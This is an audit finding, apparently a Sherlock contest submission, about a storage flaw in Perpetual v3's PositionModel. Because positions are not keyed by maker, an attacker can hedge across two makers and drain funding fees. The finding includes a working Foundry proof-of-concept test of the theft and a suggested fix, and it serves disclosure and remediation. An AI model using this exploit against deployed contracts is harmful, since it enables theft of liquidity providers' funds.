Quick Lavender Duck

high

# Attackers can lock market funds, prevent normal execution of transactions, and steal funds in the maker

## Summary
Attackers can lock market funds, prevent normal execution of transactions, disrupt `fundingFee` and `borrowingFee`, and steal funds from maker
## Vulnerability Detail
User information positions are obtained and saved in the following way. The data mapping only distinguishes `marketId`. If the same `marketId` involves multiple makers, the system cannot correctly process the taker's and maker's position data.
The attacker creates a position with maker1 in the same `marketId`, then proceeds to create an equal and opposite position with maker2. Due to the data storage method, the attacker's `positionSize` and `openNotional` will be reset to zero, while the position data for maker1 and maker2 still exists. After the attacker occupies all of the maker's margin, other users can only create positions opposite to the attacker in the corresponding maker. If a `FundingFee` configuration is in place, the attacker can steal funds.
https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/vault/PositionModelUpgradeable.sol#L112-L118
```js
    function _getPositionSize(uint256 marketId, address trader) internal view virtual returns (int256) {
        return _getPositionModelStorage().stateMap[marketId].positionMap[trader].positionSize;
    }

    function _getOpenNotional(uint256 marketId, address trader) internal view virtual returns (int256) {
        return _getPositionModelStorage().stateMap[marketId].positionMap[trader].openNotional;
    }
```
https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/vault/PositionModelUpgradeable.sol#L22-L25
```js
    struct PositionModelStorage {
        // key: marketId
        mapping(uint256 => PositionModelState) stateMap;
    }
```
https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/vault/PositionModelStruct.sol#L4-L9
```js
struct PositionModelState {
    uint256 pnlPoolBalance;
    uint256 badDebt;
    // key: trader address => position
    mapping(address => Position) positionMap;
}
```
https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/vault/PositionModelStruct.sol#L12-L16
```js
struct Position {
    uint256 margin;
    int256 positionSize;
    int256 openNotional;
    int256 unsettledPnl;
}
```

### Poc
attacker steals `fundingFee`
```js
    // please add to FundingFee.int.t.sol and test
    function test_AttackerWithTwoMakersGetFundingFee() public {
        // Lower FundingRate for testing
        config.setFundingConfig(marketId, 0.00005e18, 1.3e18, address(maker));
        // init attacker
        address attackerOne = makeAddr("attackerOne");
        address attackerTwo = makeAddr("attackerTwo");
        _deposit(marketId, attackerOne, 5000e6);
        _deposit(marketId, attackerTwo, 5000e6);

        // Caching attacker account vaule
        int256 attackerOneStartAccountVaule = vault.getAccountValue(marketId, attackerOne, 100e18);
        int256 attackerTwoStartAccountVaule = vault.getAccountValue(marketId, attackerTwo, 100e18);
        // attackerOne long 500 eth on maker1
        vm.prank(attackerOne);
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: false,
                isExactInput: false,
                amount: 500 ether,
                oppositeAmountBound: 50000 ether,
                deadline: block.timestamp,
                makerData: ""
            })
        );
        // attackerOne short 500 eth on maker2
        vm.prank(attackerOne);
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker2),
                isBaseToQuote: true,
                isExactInput: true,
                amount: 500 ether,
                oppositeAmountBound: 50000 ether,
                deadline: block.timestamp,
                makerData: ""
            })
        );
        // attackerOne don't have open position
        _assertEq(
            _getPosition(marketId, address(attackerOne)),
            PositionProfile({ margin: 5000e18, positionSize: 0, openNotional: 0, unsettledPnl: 0 })
        );
        // attackerTwo short 500 eth on maker2
        vm.prank(attackerTwo);
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker2),
                isBaseToQuote: true,
                isExactInput: true,
                amount: 500 ether,
                oppositeAmountBound: 50000 ether,
                deadline: block.timestamp,
                makerData: ""
            })
        );
        skip(15);
        vm.prank(attackerTwo);
        clearingHouse.closePosition(
            IClearingHouse.ClosePositionParams({
                marketId: marketId,
                maker: address(maker),
                oppositeAmountBound: 50000 ether,
                deadline: block.timestamp,
                makerData: ""
            })
        );

        int256 attackerOneEndAccountVaule = vault.getAccountValue(marketId, attackerOne, 100e18);
        int256 attackerTwoEndAccountVaule = vault.getAccountValue(marketId, attackerTwo, 100e18);
        assertEq(attackerOneStartAccountVaule, attackerOneEndAccountVaule);
        assertEq(attackerTwoEndAccountVaule - attackerTwoStartAccountVaule, 4816.064263904166e18);
    }
// [PASS] test_AttackerWithTwoMakersGetFundingFee() (gas: 2641300)
```
## Impact
Attackers can lock market funds, prevent normal execution of transactions, disrupt `fundingFee` and `borrowingFee`, and steal funds from maker
## Code Snippet
https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/vault/PositionModelUpgradeable.sol#L112-L118
https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/vault/PositionModelUpgradeable.sol#L22-L25
https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/vault/PositionModelStruct.sol#L4-L9
https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/vault/PositionModelStruct.sol#L12-L16
## Tool used

Manual Review

## Recommendation
We can add the corresponding maker mapping under `mapping(uint256 => PositionModelState) stateMap` to distinguish,and when the transaction is executed, check the status of the trader in the remaining makers and process it